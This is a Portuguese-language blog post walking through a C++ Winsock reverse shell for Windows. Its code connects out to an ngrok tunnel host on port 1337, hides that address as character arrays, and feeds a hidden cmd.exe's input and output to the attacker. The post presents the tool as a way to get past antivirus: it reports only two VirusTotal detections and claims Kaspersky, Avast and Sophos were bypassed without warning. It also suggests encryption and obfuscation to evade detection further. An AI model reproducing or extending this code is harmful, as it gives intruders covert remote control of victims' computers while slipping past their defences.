Reverse Shell

Seja muito bem-vindo(a) ao meu humilde blog.

Neste post, vamos explorar a criação de um Reverse Shell simples, com o objetivo de contornar alguns AVs/EDRs. O objetivo deste post é focado em entender o funcionamento básico de uma Reverse Shell. Vamos utilizar a linguagem C++ com a API Winsock para implementar a comunicação de rede e interagir com o processo do cmd.exe no Windows.

Nosso código utiliza multithreading, pipes, e sockets para interagir diretamente com o terminal remoto, permitindo o envio e recebimento de comandos. Ao longo do desenvolvimento, vamos detalhar cada parte do código e como ela se relaciona com a construção de um Reverse Shell funcional.


Parte Principal: Configuração da Conexão de Rede

A parte principal do nosso código é responsável por estabelecer a comunicação entre o cliente máquina atacante e o servidor máquina alvo. Utilizamos o Winsock para criar e conectar um socket que será usado para enviar e receber dados.

WSADATA wsaData;
SOCKET sock;
struct addrinfo hints = { 0 }, * result;

if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
    fprintf(stderr, "Falha na inicializacao do Winsock\n");
    return 1;
}

hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;

char NotNgrok[] = { '0', '.', 't', 'c', 'p', '.', 's', 'a', '.', 'n', 'g', 'r', 'o', 'k', '.', 'i', 'o', 0 };
char NotPort[] = { '1', '3', '3', '7', 0 };

if (getaddrinfo(NotNgrok, NotPort, &hints, &result) != 0) {
    fprintf(stderr, "Falha no endereço NGROK\n");
    WSACleanup();
    return 1;
}

sock = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
if (sock == INVALID_SOCKET) {
    fprintf(stderr, "Falha ao criar socket: %d\n", WSAGetLastError());
    freeaddrinfo(result);
    WSACleanup();
    return 1;
}

Aqui, configuramos o Winsock e criamos o socket que será usado para a comunicação. O endereço IP e a porta do servidor são passados como strings. Utilizamos um endereço NGROK para redirecionar o tráfego para o cliente.

Parte de Comunicação: Interação com o cmd.exe

Depois de configurar o socket, precisamos redirecionar a entrada e saída do processo cmd.exe para o nosso socket, permitindo que os comandos recebidos sejam executados e suas saídas retornadas ao atacante.

Multithreading, Pipes e Sockets

Para que a nossa Reverse Shell funcione corretamente, precisamos lidar com a comunicação entre dois processos distintos: o cmd.exe (que executa os comandos) e o cliente (a máquina que enviará e receberá os comandos remotamente). Para isso, utilizamos três componentes fundamentais: multithreading, pipes, e sockets.


Multithreading

No nosso caso, como temos duas fontes de dados diferentes (o socket e o processo cmd.exe), precisamos de duas threads separadas para tratar o envio e o recebimento de informações. A multithreading permite que nosso programa execute múltiplas tarefas ao mesmo tempo, sem que uma interfira na outra. Assim, enquanto uma thread recebe dados do socket e os envia para o cmd.exe, a outra pode ler a saída do cmd.exe e devolver ao atacante.

Na implementação, criei duas threads principais:

  1. Thread 1: responsável por ler a saída do cmd.exe (por meio de pipes) e enviar essa saída de volta ao cliente pela rede.

  2. Thread 2: responsável por receber os comandos enviados pelo atacante através do socket e passá-los para o cmd.exe, simulando uma sessão interativa de terminal.

Ao dividir essas tarefas em threads separadas, evitamos que o programa fique travado esperando por uma ação, garantindo que a comunicação seja rápida e fluida entre os dois lados.


Pipes

Os pipes são um mecanismo usado para redirecionar a entrada e a saída de processos no Windows. Eles atuam como canais de comunicação entre o nosso programa e o processo cmd.exe. Para o cmd.exe, a entrada (stdin) e a saída (stdout) são redirecionadas para esses pipes, de forma que possamos "escrever" comandos diretamente no stdin e "ler" os resultados a partir do stdout.

Criei dois pipes principais:

  • Pipe de entrada: recebe os dados do socket (os comandos enviados pelo atacante) e os envia ao cmd.exe.

  • Pipe de saída: captura a saída do cmd.exe e a envia de volta ao cliente, de forma que o atacante possa ver o resultado dos comandos.

Isso nos permite interagir diretamente com o processo, como se estivéssemos executando os comandos localmente.


Sockets

Por último, utilizamos sockets para estabelecer a comunicação de rede entre a máquina atacante e a máquina alvo. Um socket é basicamente um ponto final em uma conexão de rede. No nosso caso, configuramos um socket TCP, que será responsável por enviar e receber dados da máquina remota.

Através do Winsock, que é a API de sockets do Windows, criamos uma conexão entre o cliente (máquina atacante) e o servidor (máquina alvo). Esse socket atua como um canal de comunicação bidirecional, o atacante envia comandos através dele, e nossa Reverse Shell recebe e executa esses comandos, enviando as saídas de volta pelo mesmo canal.


Criação dos Pipes

Criamos pipes para redirecionar a saída do cmd.exe (stdout) e a entrada (stdin), utilizando a estrutura SECURITY_ATTRIBUTES para permitir a herança de handles entre processos.

Esses pipes permitem que os dados trafeguem entre o nosso programa e o processo do cmd.exe.


Criação do Processo cmd.exe

Em seguida, criamos o processo do cmd.exe, redirecionando sua entrada e saída para os pipes que acabamos de criar.

O processo cmd.exe é iniciado invisível, e suas entradas e saídas estão agora conectadas aos nossos pipes.


Threads para Comunicação Bidirecional

E aqui, as threads são criadas para gerenciar o envio e recebimento de dados, e o programa espera até que o processo cmd.exe seja finalizado.


Código completo


Conclusão

Concluímos a implementação de um Reverse Shell funcional utilizando C++ e a API Winsock. Este código, apesar de simples, demonstra os conceitos fundamentais de redirecionamento de processos, manipulação de sockets e comunicação remota.

Ao longo deste post, exploramos como redirecionar a entrada e saída de um processo do cmd.exe, além de como implementar a comunicação bidirecional entre o cliente e o servidor por meio de sockets. Este é um exemplo claro de como os sistemas operacionais e redes podem ser manipulados para criar soluções poderosas de controle remoto.


Contra VirusTotal

Bom, contra o VirusTotal obtivemos um total de apenas 2 detecções, o que é consideravelmente pouco, se quisermos, um resultado melhor, podemos combinar criptografia de comando com chave aleatória e funções de ofuscação por exemplo no CreateProcess.


Contra AV/EDR

Bom os antivírus que utilizei de teste foram ( kaspersky, avast, sophos ), conseguimos contornar os três sem nenhum aviso.

Por fim, conseguimos ver que não é muito difícil contornar alguns antivírus utilizando um código simples de reverse shell. Lembrando que o código tem muito a melhorar e que estamos apenas levando em consideração um acesso inicial. Em um computador protegido, sem configurações ou regras, as coisas são diferentes em ambientes realmente configurados e controlados.

Espero que tenham gostado deste post simples. Obrigado se chegou até aqui, e tchau tchau.

Last updated